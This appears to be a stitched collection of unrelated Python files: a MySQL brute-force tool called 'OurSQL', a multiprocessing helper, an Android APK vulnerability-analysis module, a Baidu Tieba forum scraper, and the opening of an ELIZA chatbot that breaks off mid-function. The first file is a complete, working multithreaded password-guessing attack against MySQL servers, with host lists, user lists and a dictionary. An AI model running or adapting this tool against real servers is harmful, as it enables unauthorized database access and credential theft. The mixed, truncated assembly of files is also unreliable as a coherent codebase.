#!/usr/bin/env python3 import sys import argparse import MySQLdb from os import path from time import sleep from datetime import datetime from threading import Thread, activeCount # Default status variables. success = False allowed = True connectable = True lost_connection = False unknown = False # Get version. def getVersion(): return "1.1" # Get current time. def curTime(): now = datetime.now() return now.strftime("%d/%m/%Y %H:%M:%S") # Show script banner. def showBanner(): print("\n\033[1;1m โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—") print("โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘") print("โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘") print("โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ–„โ–„ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘") print("โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—") print(" โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ–€โ–€โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•\033[0;m") print("\033[1;95m-----> \"Comrade, Your MySQL is now OurSQL\" <-----\033[0;m ", end="") print("(v{})\n".format(getVersion())) # Show success message. def showSuccess(msg): print("\033[1;92m[{}] [+] {}\033[0;m".format(curTime(), msg)) # Show fail message. def showFailure(msg): print("\033[1;91m[{}] [-] {}\033[0;m".format(curTime(), msg)) # Show information message. def showInfo(msg): print("\033[1;1m[{}] [*] {}\033[0;m".format(curTime(), msg)) # Show verbose message. def showVerbose(msg): print("\033[1;0m[{}] [#] {}\033[0;m".format(curTime(), msg)) # Check if file exists. def file_exists(parser, file): if not path.exists(file): parser.error("File not found ({})".format(file)) return [x.strip() for x in open(file)] # Exit script. def exitScript(): showInfo("Exiting OurSQL") sys.exit() # Connect to the MySQL Server. def connect(host, user, password, port, timeout): global verbose, success, allowed, connectable, unknown try: if verbose: showVerbose("Testing {} : {}".format(user, password)) MySQLdb.connect(host=host, port=port, user=user, password=password, connect_timeout=timeout) success = True showSuccess("Login success! {} : {}".format(user, password)) showSuccess("Successfully made their MySQL into OurSQL!") except Exception as e: errno, message = e.args if errno == 1045: if verbose: showFailure("Login failed! {} : {}".format(user, password)) elif errno == 1130: allowed = False elif errno == 2002: connectable = False elif errno == 2005: unknown = True elif errno == 2013: lost_connection = False else: showFailure("Code: {}, Message: {}".format(errno, message)) exitScript() # Script main() def main(args, users, hosts): try: global success, allowed, honeypot, connectable, lost_connection, unknown port = args.port timeout = args.timeout max_threads = args.threads # Cleaning some argument attributes del args.port, args.timeout, args.threads for host in hosts: showInfo("Targeting {}".format(host)) # Test with blank password if we're allowed to connect to the server showInfo("Checking if {}:{} allow us to connect".format(host, port)) connect(host, "root", "", port, timeout) if not connectable or lost_connection: showFailure("ััƒะบะฐ ะฑะปัั‚ัŒ! Unable to connect to {}:{}".format(host, port)) connectable = True lost_connection = False continue if not allowed: showFailure("ััƒะบะฐ ะฑะปัั‚ัŒ! Host {}:{} doesn't allow us to access their MySQL!".format(host, port)) allowed = True continue if unknown: showFailure("ััƒะบะฐ ะฑะปัั‚ัŒ! Unknown host {}!".format(host)) unknown = False continue showInfo("Starting brute-force") for user in users: showInfo("Targeting user {}".format(user)) if verbose: showVerbose("Using {} connection threads".format(max_threads)) with open(args.passwords) as file: for password in file: if success: break th = Thread(target=connect, args=(host, user, password.strip(), port, timeout)) th.daemon = True th.start() while activeCount() > max_threads: sleep(0.001) while activeCount() > 1: sleep(0.001) if success: success = False else: showFailure("ััƒะบะฐ ะฑะปัั‚ัŒ! Unable to find password for user {}".format(user)) exitScript() except KeyboardInterrupt: exitScript() if __name__ == "__main__": try: showBanner() desc = "MySQL brute-force script. Some say that KGB used this script during the Cold War." args = argparse.ArgumentParser(description=desc) args.add_argument("-H", "--host", dest="host", type=str, default="localhost", help="single domain or IP Address to be brute-force (default: localhost)") args.add_argument("--hosts", dest="hosts", type=lambda x:file_exists(args, x), help="the list of domains or IP Addresses to be brute-force") args.add_argument("-u", "--user", dest="user", type=str, default="root", help="the user to be used during brute-force (default: root)") args.add_argument("-U", "--users", dest="users", type=lambda x:file_exists(args, x), help="the list of users to be used during brute-force") args.add_argument("-p", "--passwords", dest="passwords", type=str, required=True, help="file containing passwords dictionary") args.add_argument("-P", "--port", dest="port", type=int, default=3306, help="the server MySQL port (default: 3306)") args.add_argument("-t", "--threads", dest="threads", type=int, default=4, help="number of connection threads (default: 4)") args.add_argument("-T", "--timeout", dest="timeout", type=int, default=3, help="total of seconds to connection timeout (default: 3)") args.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="show all informational messages") args = args.parse_args() # Add hosts into list. if args.hosts is not None: hosts = args.hosts else: hosts = [args.host] # Add users into list. if args.users is not None: users = args.users else: users = [args.user] verbose = args.verbose timeout = args.timeout # Cleaning up some argument attributes. del args.host, args.hosts, args.verbose, args.user, args.users showInfo("Starting OurSQL") main(args, users, hosts) except KeyboardInterrupt: exitScript()
multiproc.py
#!/usr/bin/env python # # Copyright 2016 Blaise Frederick # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # # $Author: frederic $ # $Date: 2016/07/11 14:50:43 $ # $Id: rapidtide,v 1.161 2016/07/11 14:50:43 frederic Exp $ # # # import multiprocessing as mp import threading as thread import queue as thrQueue import rapidtide.util as tide_util def maxcpus(): return mp.cpu_count() - 1 def _process_data( data_in, inQ, outQ, showprogressbar=True, reportstep=1000, chunksize=10000 ): # send pos/data to workers data_out = [] totalnum = len(data_in) numchunks = int(totalnum // chunksize) remainder = totalnum - numchunks * chunksize if showprogressbar: tide_util.progressbar(0, totalnum, label="Percent complete") # process all of the complete chunks for thechunk in range(numchunks): # queue the chunk for i, dat in enumerate( data_in[thechunk * chunksize : (thechunk + 1) * chunksize] ): inQ.put(dat) offset = thechunk * chunksize # retrieve the chunk numreturned = 0 while True: ret = outQ.get() if ret is not None: data_out.append(ret) numreturned += 1 if (((numreturned + offset + 1) % reportstep) == 0) and showprogressbar: tide_util.progressbar( numreturned + offset + 1, totalnum, label="Percent complete" ) if numreturned > chunksize - 1: break # queue the remainder for i, dat in enumerate( data_in[numchunks * chunksize : numchunks * chunksize + remainder] ): inQ.put(dat) numreturned = 0 offset = numchunks * chunksize # retrieve the remainder while True: ret = outQ.get() if ret is not None: data_out.append(ret) numreturned += 1 if (((numreturned + offset + 1) % reportstep) == 0) and showprogressbar: tide_util.progressbar( numreturned + offset + 1, totalnum, label="Percent complete" ) if numreturned > remainder - 1: break if showprogressbar: tide_util.progressbar(totalnum, totalnum, label="Percent complete") print() return data_out def run_multiproc( consumerfunc, inputshape, maskarray, nprocs=1, procbyvoxel=True, showprogressbar=True, chunksize=1000, ): # initialize the workers and the queues n_workers = nprocs inQ = mp.Queue() outQ = mp.Queue() workers = [ mp.Process(target=consumerfunc, args=(inQ, outQ)) for i in range(n_workers) ] for i, w in enumerate(workers): w.start() if procbyvoxel: indexaxis = 0 procunit = "voxels" else: indexaxis = 1 procunit = "timepoints" # pack the data and send to workers data_in = [] for d in range(inputshape[indexaxis]): if maskarray is None: data_in.append(d) elif maskarray[d] > 0: data_in.append(d) print("processing", len(data_in), procunit + " with", n_workers, "processes") data_out = _process_data( data_in, inQ, outQ, showprogressbar=showprogressbar, chunksize=chunksize ) # shut down workers for i in range(n_workers): inQ.put(None) for w in workers: w.terminate() w.join() return data_out def run_multithread( consumerfunc, inputshape, maskarray, nprocs=1, showprogressbar=True, chunksize=1000 ): # initialize the workers and the queues n_workers = nprocs inQ = thrQueue.Queue() outQ = thrQueue.Queue() workers = [ thread.Thread(target=consumerfunc, args=(inQ, outQ)) for i in range(n_workers) ] for i, w in enumerate(workers): w.start() # pack the data and send to workers data_in = [] for d in range(inputshape[0]): if maskarray is None: data_in.append(d) elif maskarray[d] > 0: data_in.append(d) print("processing", len(data_in), "voxels with", n_workers, "threads") data_out = _process_data( data_in, inQ, outQ, showprogressbar=showprogressbar, chunksize=chunksize ) # shut down workers for i in range(n_workers): inQ.put(None) # for w in workers: # #.terminate() # w.join() return data_out
packageinfo.py
# Copyright (c) 2015, Fundacion Dr. Manuel Sadosky # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import sys import settings sys.path.insert(0, settings.vuln_analysis_dir) sys.path.insert(0, settings.vuln_analysis_dir+'/androguard') from androguard.core.bytecodes import apk from androguard.misc import AnalyzeAPK from models import * from django.utils.encoding import smart_text import simplejson #import md5 #import sha from hashlib import sha1, md5 import classifier_interface_file import os from apk_storage import * from git_interface import gitlab_upload_app import MarvinStaticAnalyzer import threading import logging import constants import traceback from functools import wraps from multiprocessing import Process, Queue def processify(func): '''Decorator to run a function as a process. Be sure that every argument and the return value is *pickable*. The created process is joined, so the code does not run in parallel. ''' def process_func(q, *args, **kwargs): try: ret = func(*args, **kwargs) except Exception: ex_type, ex_value, tb = sys.exc_info() error = ex_type, ex_value, ''.join(traceback.format_tb(tb)) ret = None else: error = None q.put((ret, error)) # register original function with different name # in sys.modules so it is pickable process_func.__name__ = func.__name__ + 'processify_func' setattr(sys.modules[__name__], process_func.__name__, process_func) @wraps(func) def wrapper(*args, **kwargs): q = Queue() p = Process(target=process_func, args=[q] + list(args), kwargs=kwargs) p.start() p.join() ret, error = q.get() if error: ex_type, ex_value, tb_str = error message = '%s (in subprocess)\n%s' % (ex_value.message, tb_str) raise ex_type(message) return ret return wrapper @processify def test_function(): return os.getpid() @processify def test_exception(): raise RuntimeError('xyz') def test(): print os.getpid() print test_function() test_exception() if __name__ == '__main__': test() # LOGGING = { # 'version': 1, # 'disable_existing_loggers': False, # 'handlers': { # 'file': { # 'level': 'DEBUG', # 'class': 'logging.FileHandler', # 'filename': '/tmp/packageinfo.debug.log', # }, # }, # 'loggers': { # 'packageinfo': { # 'handlers': ['file'], # 'level': 'DEBUG', # 'propagate': True, # }, # }, # } #logger = logging.getLogger("packageinfo") logging.basicConfig(filename="/tmp/packageinfo.info.log", level=logging.INFO) perms_list_file = settings.perms_list_file model_file = settings.model_file def data_for_storage(rawfile): md5hash = md5(rawfile).hexdigest() try: myApk = apk.APK(rawfile, raw=True) package_name = myApk.package_name return (package_name, md5hash) except Exception as poof: return (repr(poof), None) def process_package(myfile, app_md): t = threading.Thread (target=process_package_worker, args=(myfile, app_md)) #threads = list() #threads.append(t) t.start() return "Nothing to see yet, move along" @processify def process_package_worker(myfile, app_md): logging.info ("Entrando a process_package") rawfile = myfile.read() try: logging.info ("Extrayendo APK") (myPackage, d, dx) = AnalyzeAPK(rawfile, raw=True, decompiler="dad") logging.info ("APK extraido") except Exception as poof: logging.error ("Exception reading APK: " + repr (poof)) return "Excepcion leyendo APK: " + repr (poof) sources = {} # try: # map (lambda cd: sources.update({cd.get_name():cd.get_source()}), d.get_classes()) # print "APK decompilado" # except Exception as poof: # print "Exception decompiling APK: " + repr (poof) if myPackage.is_valid_APK(): #misc_info = compile_misc_info(myPackage) package_name = myPackage.get_package() version = myPackage.get_androidversion_name() qs = App.objects.filter(package_name = package_name, version = version) logging.info ("Busco el objeto en la base: encuentro :"+ package_name +" "+ version +" "+ str(len(qs))) if len(qs)>0: logging.error ("El objeto ya existe en la base") return "El objeto ya existe en la base" else: if app_md != None: app_name= app_md.docV2.title else: app_name = get_app_name(myPackage, d) app = App(package_name = myPackage.get_package(), version = myPackage.get_androidversion_name(), app_name = app_name, md5 = md5(rawfile).hexdigest(), sha1 = sha1(rawfile).hexdigest(), bayesConfidence = 0.000) app.save() store_apk(rawfile, app.package_name, app.md5) del rawfile if app_md != None: metadata = App_metadata(app_name= app_md.docV2.title, version_string = app_md.docV2.details.appDetails.versionString, author = app_md.docV2.creator, date_upload = app_md.docV2.details.appDetails.uploadDate, description = app_md.docV2.descriptionHtml, app = app) metadata.save() #store_apk(rawfile, app.package_name, app.md5) #print "Decompilando clases" android_manifest = myPackage.get_android_manifest_xml().toxml() overrides = {"AndroidManifest.xml": android_manifest} #t = threading.Thread (target=save_sources_worker, args=(d, app, overrides)) save_sources_worker(d, app, overrides) #threads = list() #threads.append(t) #t.start() permissions = myPackage.get_details_permissions() add_permissions(permissions, app) activities = myPackage.get_activities() for act_name in activities: django_act = Activity (name = act_name, app = app) django_act.save() services = myPackage.get_services() for serv_name in services: django_srv = Service (name = serv_name, app = app) django_srv.save() providers = myPackage.get_providers() for prov_name in providers: django_prov = Provider (name = prov_name, app = app) django_prov.save() receivers = myPackage.get_receivers() for recv_name in receivers: django_recv = Receiver (name = recv_name, app = app) django_recv.save() # Me estaba subiendo los fuentes al repo antes de terminar de cargarlos # en la DB. Lo pase al thread que los carga en la DB. #gitlab_upload_app(app.package_name, app.version) logging.info ("Entrando a analisis bayesiano") bayes_analysis(app) logging.info ("Fin analisis bayesiano") logging.info( "Entrando a chequeo de vulnerabilidades") #t = threading.Thread (target=vuln_analysis, args=(app, myPackage, d, dx)) vuln_analysis(app, myPackage, d, dx) #threads = list() #threads.append(t) #t.start() return app else: logging.error ("Error: APK invalido") return "Error: APK invalido" def save_sources_worker(d, app, overrides): logging.info ("Decompilando clases") for javaclass in d.get_classes(): try: # print "Decompilando clase " + javaclass.get_name() source = repr(javaclass.get_source()) except Exception as poof: logging.info ("Java class "+ javaclass.get_name() + "could not be decompiled: \n" + repr(poof)) source = "Class could not be decompiled" #sources.update({javaclass.get_name():source}) name = javaclass.get_name()[1:len(javaclass.get_name())-1] sourcefile = Sourcefile (file_name = name, file_contents= source[1:len(source)-1], app = app) try: sourcefile.save() except Exception as poof: logging.error ("Error grabando archivo fuente: "+repr(poof)) #gitlab_upload_app(app.package_name, app.version) gitlab_upload_app(app, overrides) app.sourcesUploaded = True app.save() logging.info ("Clases decompiladas") def bayes_analysis(app): perms = map (lambda permission:permission.name, app.permission_set.all()) classifier_report = classifier_interface_file.evaluate_apk(perms, perms_list_file, model_file) app.bayesResult = classifier_report[0] app.bayesConfidence = classifier_report[1] app.status = "BAYES_CHECKED" app.save() def vuln_analysis_retry(app): t = threading.Thread (target=vuln_analysis_retry_worker, args=(app,)) #threads = list() #threads.append(t) print "Empezando el thread" t.start() #t.join() return "Gracias vuelva prontos" @processify def vuln_analysis_retry_worker(app): print "entrando a retry_worker" try: #print "Consiguiendo filename, package_name:" + app.package_name filename = get_filepath(app.package_name, app.md5) #print "filename:"+filename (myPackage, d, dx) = AnalyzeAPK(filename) #print "Datos recuperados" vuln_analysis(app, myPackage, d, dx) except Exception as poof: #print "Error en retry: " + repr(poof) logging.error ("Exception en analisis de vulnerabilidades: " + repr (poof)) @processify def decompile(app): filename = get_filepath(app.package_name, app.md5) (myPackage, d, dx) = AnalyzeAPK(filename) android_manifest = myPackage.get_android_manifest_xml().toxml() overrides = {"AndroidManifest.xml": android_manifest} save_sources_worker(d, app, overrides) def vuln_analysis(app, apk, d, dx): print "Entrando a vuln_analysis" prefix1 = app.md5[0:2] prefix2 = app.md5[2:4] dir_path = settings.root_apk_dir + '/' + prefix1 + '/' + prefix2 + '/' file_path = dir_path + app.package_name + '.apk' my_path = os.getcwd() os.chdir(settings.vuln_analysis_dir) vuln_report = {} app.status = "Checking Vulns" app.save() try: vuln_report = MarvinStaticAnalyzer.analyze_vulnerabilities(file_path, apk, d, dx) except Exception as poof: logging.error ("Error analyzing vulns: " + repr(poof)) vuln_report = {"Error in analysis": [{'description':repr(poof)}]} os.chdir(my_path) #print vuln_report update_fields_vr(app, vuln_report) app.status = "Vulns checked" app.save() logging.info("Fin chequeo de vulnerabilidades") #return vuln_report def update_fields_vr(app, vuln_report): for field in vuln_report.keys(): for instance in vuln_report[field]: report = VulnerabilityResult(name = field, description = instance['description'], confidence = instance['confidence'], dynamicTest = instance['dynamic_test'], dynamic_test_params = instance['dynamic_test_params'], app = app) #if report.name in constants.STATIC_VULN_TYPES: # report.severity = constants.SEVERITY_PRIORITIES[constants.STATIC_VULN_TYPES[report.name]] #if report.name in constants.DYNAMIC_VULN_TYPES: # report.severity = constants.SEVERITY_PRIORITIES[constants.DYNAMIC_VULN_TYPES[report.name]] report.severity = instance['severity'] if 'reference_class' in instance: report.vuln_class = instance['reference_class'] if 'reference_method' in instance: report.vuln_method = instance['reference_method'] if report.confidence is None: report.confidence = 1 if report.dynamicTest is None: report.dynamicTest = False report.save() if instance['dynamic_test'] : dynamicTestResult = DynamicTestResults(name = '' ,status = 'UNKNOWN' ,count = 0 ,description = '' ,vuln = report) dynamicTestResult.save() def add_permissions(permissions, app): for perm_name in permissions.keys(): #print perm_name res = Permission.objects.search.query('match', name = perm_name) if len(res)==0: django_perm = Permission (name = perm_name, perm_description = permissions[perm_name][1], perm_danger = permissions[perm_name][0]) django_perm.save() else: django_perm = res[0] django_perm.app.add(app) def get_app_name(a, d): try: app_name = a.xml['AndroidManifest.xml'].getElementsByTagName('application').pop().attributes['android:label'].nodeValue except Exception as poof: app_name = 'Error:' + repr(poof) if app_name[0] == '@': package_name = a.package class_name = "L"+package_name.replace('.','/')+"/R$string;" my_R_strings = d.get_class(class_name) if my_R_strings == None: return package_name else: res = a.get_android_resources() for element in my_R_strings.get_fields(): elem_offset = format (element.init_value.get_value(),"03X") if elem_offset == app_name[1:]: resource_name = element.get_name() app_name = res.get_string(package_name, resource_name)[1] return app_name # classifier_report = classifier_interface_file.evaluate_apk(permissions, perms_list_file, model_file) # marvin_es.store_cr(package_name, classifier_report)
tiebaspider.py
#!/usr/bin/python # -*- coding: UTF-8 -*- import urllib2 import time import redis from pymongo import MongoClient from bs4 import BeautifulSoup import requests import urlparse import json import config import multiprocessing import sys reload(sys) sys.setdefaultencoding('utf-8') headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/49.0.2623.108 Chrome/49.0.2623.108 Safari/537.36'} class TieBaClawer(object): def __init__(self): print "็ˆฌ่™ซๅผ€ๅง‹ๅทฅไฝœ..." job_redis = redis.Redis(host=config.Redis_ip, port=config.Redis_port, db=config.Redis_db) self.job_redis = job_redis self.main() #่Žทๅ–ๅ…จ้ƒจๅธ–ๅญ็š„ๆ€ป้กต้ข def search_all_page_url(self, tieba_name): start_url = 'http://tieba.baidu.com/f' payload = {'ie': 'utf-8', 'kw': str(tieba_name)} r = requests.get(start_url, params=payload) all_pages = '' if r.status_code == 200: time.sleep(2) bs = BeautifulSoup(r.text, 'html5lib') get_all_pages = bs.select('.pagination-default .last')[0].get('href') result = urlparse.urlparse(get_all_pages) parmas = urlparse.parse_qs(result.query, True) all_pages = int(parmas["pn"][0]) print "ๅ…ฑ่ฎก้กตๆ•ฐไธบ๏ผš", all_pages else: print "่Žทๅ–ๅธ–ๅญๅˆ—่กจๅคฑ่ดฅ" pass return all_pages # ่Žทๅ–ๆŸๆก่ดดๅงไฟกๆฏ็š„ๆ‰€ๆœ‰ๅธ–ๅญ้“พๆŽฅ def get_which_all_linkUrl(self, all_pages, tieba_name): start_url = 'http://tieba.baidu.com/f' host_url = 'http://tieba.baidu.com' for page in range(0, all_pages, 50): print page payload = {'ie': 'utf-8', 'kw': str(tieba_name), 'pn': page} res = requests.get(start_url, params=payload, timeout=20) print "ๅฝ“ๅ‰้กต็ ไธบ๏ผš", page, payload if res.status_code == 200: bs = BeautifulSoup(res.text, 'html5lib') get_which_all_links = bs.select("#thread_list .j_thread_list") for i in range(0, len(get_which_all_links), 1): dataSet = get_which_all_links[i]['data-field'] tie_href = get_which_all_links[i].select('.threadlist_title .j_th_tit')[0]['href'] title = get_which_all_links[i].select('.threadlist_title .j_th_tit')[0].get('title') msgData = json.JSONDecoder().decode(dataSet) msgData['tie_href'] = host_url + tie_href msgData['title'] = str(title) # ๅฐ†ๅฆๅค–ไธ€ไปฝๆ•ฐๆฎไฟๅญ˜ๅœจmongoไธญ self.single_data_save_mysql(msgData) # ไธ€ไปฝไฟๅญ˜ๅœจredisไธญ๏ผŒไพ›็ˆฌ่™ซ่ฐƒ็”จ self.job_redis.sadd('urls', msgData['tie_href']) else: print "่Žทๅ–่ดดๅง้“พๆŽฅไฟกๆฏๅ‡บ้”™" pass #ๅฐ†ๅ•ๆกๆ•ฐๆฎๅญ˜ๅ…ฅmongo, ไธป่ฆๅญ˜ๅ‚จๆฏๆก่ดดๅงๅธ–ๅญ็š„้“พๆŽฅ็›ธๅ…ณไฟกๆฏ def single_data_save_mysql(self, dataObj): # ๅปบ็ซ‹MongoDBๆ•ฐๆฎๅบ“่ฟžๆŽฅ client = MongoClient(config.Mongodb_ip, config.Mongodb_port) # ่ฟžๆŽฅๆ‰€้œ€ๆ•ฐๆฎๅบ“,adminไธบๆ•ฐๆฎๅบ“ๅ db = client.admin db.TieBaList2.insert(dataObj) # ่Žทๅ–ๆŸ็ฏ‡ๅธ–ๅญ็š„็ฟป้กต้กต็  def getTieZiPage(self, urlLink): r = requests.get(urlLink) all_pages = 0 if r.status_code == 200: time.sleep(5) bs = BeautifulSoup(r.text, 'html5lib') if (bs.select('.l_reply_num')): all_pages = bs.select('.l_reply_num')[0].select('.red')[1].text or '1' else: print "่Žทๅ–้กต็ ๅคฑ่ดฅ" return int(all_pages) #่Žทๅ–ๆญฃๆ–‡ def get_content(self): url = self.job_redis.spop('urls') while url: # ๅฝ“ๆ•ฐๆฎๅบ“่ฟ˜ๅญ˜ๅœจ็ฝ‘้กตurl๏ผŒๅ–ๅ‡บไธ€ไธชๅนถ็ˆฌๅ– try: endPage = self.getTieZiPage(url) print endPage, url if (endPage == 0 or endPage == "0"): print "่ฏฅ้กต้ขๅธ–ๅญๅทฒ็ป่ขซๅˆ ้™ค" url = self.job_redis.spop('urls') continue self.get_all_judgement_info(url, 1, endPage + 1) except: # ่‹ฅๅ‡บ็Žฐ็ฝ‘้กต่ฏปๅ–้”™่ฏฏๆ•่Žทๅนถ่พ“ๅ‡บ print "่Žทๅ–ๆญฃๆ–‡้กตๅ‡บ้”™" pass url = self.job_redis.spop('urls') # ่Žทๅ–ๆŸไธชๅธ–ๅญๆŸ้กตไน‹ๅ‰็š„ๆ‰€ๆœ‰ๆฅผๅฑ‚่ฏ„่ฎบ def get_all_judgement_info(self, item_link, beginPage, endPage): for page in range(beginPage, endPage + 1, 1): self.get_single_judgement_info(item_link, page) # ่Žทๅ–ๆฏไธ€็ฏ‡ๅธ–ๅญ็š„ๆŸไธ€้กต่ฏฆ็ป†ไฟกๆฏไปฅๅŠๆฅผๅฑ‚่ฏ„่ฎบ def get_single_judgement_info(self, item_link, page): payload = {'pn': str(page)} # r=requests.get(item_link,proxies=proxy,timeout=15,params=payload) page_content = [] r = requests.get(item_link, params=payload, timeout=15) time.sleep(1) if r.status_code == 200: bs = BeautifulSoup(r.text, 'html5lib') # ๅพ—ๅˆฐๅ›žๅคๅ†…ๅฎน contents = bs.select('#j_p_postlist .l_post') for i in range(0, len(contents), 1): page_content.append(contents[i]['data-field']) else: print "่ฏทๆฑ‚้”™่ฏฏ๏ผŒ่ฏท่ฐƒ่ฏ•่ฏทๆฑ‚๏ผ" pass self.divide_author_content(page_content) def divide_author_content(self, msgArr): # ๅปบ็ซ‹MongoDBๆ•ฐๆฎๅบ“่ฟžๆŽฅ client = MongoClient(config.Mongodb_ip, config.Mongodb_port) # ่ฟžๆŽฅๆ‰€้œ€ๆ•ฐๆฎๅบ“,adminไธบๆ•ฐๆฎๅบ“ๅ db = client.admin for content in msgArr: msgData = json.JSONDecoder().decode(content) db.Content2.insert(msgData) print "ๆŠ“ๅ–็š„ๆ•ฐๆฎไธบ๏ผš", msgData # ่Žทๅ–ๆŸไธชๅธ–ๅญๆŸ้กตไน‹ๅ‰็š„ๆ‰€ๆœ‰ๆฅผๅฑ‚่ฏ„่ฎบ def get_all_judgement_info(self, item_link, beginPage, endPage): for page in range(beginPage, endPage + 1, 1): self.get_single_judgement_info(item_link, page) # ่Žทๅ–ๆŸไธชๅธ–ๅญๆŸ้กตไน‹ๅ‰็š„ๆ‰€ๆœ‰ๆฅผๅฑ‚่ฏ„่ฎบ def get_all_judgement_info(self, item_link, beginPage, endPage): for page in range(beginPage, endPage + 1, 1): self.get_single_judgement_info(item_link, page) #่Žทๅ–่ฆๆŠ“ๅ–็š„ๅ…จ้ƒจ้“พๆŽฅ def get_tieba_list(self, tieba_name): #่Žทๅ–้กต็  all_pages = self.search_all_page_url(tieba_name) self.get_which_all_linkUrl(all_pages, tieba_name) def main(self): tieba_name = "ๆ™บ่ƒฝๅฎถๅ…ทๅง" #ๅชๆœ‰ไธป่ฟ›็จ‹ๆ‰ง่กŒ่Žทๅ–ๅˆ—่กจๆ“ไฝœ๏ผŒๅนถๅฐ†ๆ•ฐๆฎ้›ช่Œนๆ•ฐๆฎๅบ“ๅ’Œredis if config.identity == "master": # ไธป่ฟ›็จ‹ print "ๅฎˆๆŠค่ฟ›็จ‹ๅฏๅŠจใ€‚ใ€‚ใ€‚" p1 = multiprocessing.Process(target=self.get_tieba_list(tieba_name)) p1.daemon = False p1.start() print "10minๅŽๅผ€ๅง‹็ˆฌๅ–ๅธ–ๅญ็›ธไฟกๅ†…ๅฎนใ€‚ใ€‚ใ€‚" time.sleep(10) p2 = multiprocessing.Process(target=self.get_content()) p2.daemon = True p2.start() if __name__ == '__main__': TieBaClawer()
eliza.py
import logging import random import re import threading import emotion_dynamics # Fix Python2/Python3 incompatibility try: input = raw_input except NameError: pass log = logging.getLogger(__name__) class Key: def __init__(self, word, weight, decomps): self.word = word self.weight = weight self.decomps = decomps class Decomp: def __init__(self, parts, save, reasmbs): self.parts = parts self.save = save self.reasmbs = reasmbs self.next_reasmb_index = 0 class Eliza: def __init__(self): self.initials = [] self.finals = [] self.quits = [] self.emotions = [] self.emotion_triggers = {} self.pres = {} self.posts = {} self.synons = {} self.keys = {} self.memory = [] # new "emotional Eliza" using wasabi emotion dynamics self.emotional_eliza = emotion_dynamics.EmotionalAgent() self.input_emotions = [] # emotions contained in language input def load(self, path): key = None decomp = None with open(path) as file: for line in file: if not line.strip(): continue tag, content = [part.strip() for part in line.split(':')] if tag == 'initial': self.initials.append(content) elif tag == 'final': self.finals.append(content) elif tag == 'quit': self.quits.append(content) elif tag == 'pre': parts = content.split(' ') self.pres[parts[0]] = parts[1:] elif tag == 'post': parts = content.split(' ') self.posts[parts[0]] = parts[1:] elif tag == 'synon': parts = content.split(' ') self.synons[parts[0]] = parts elif tag == 'emotion': # get set of possible emotions parts = content.split(' ') self.emotions.append(content) 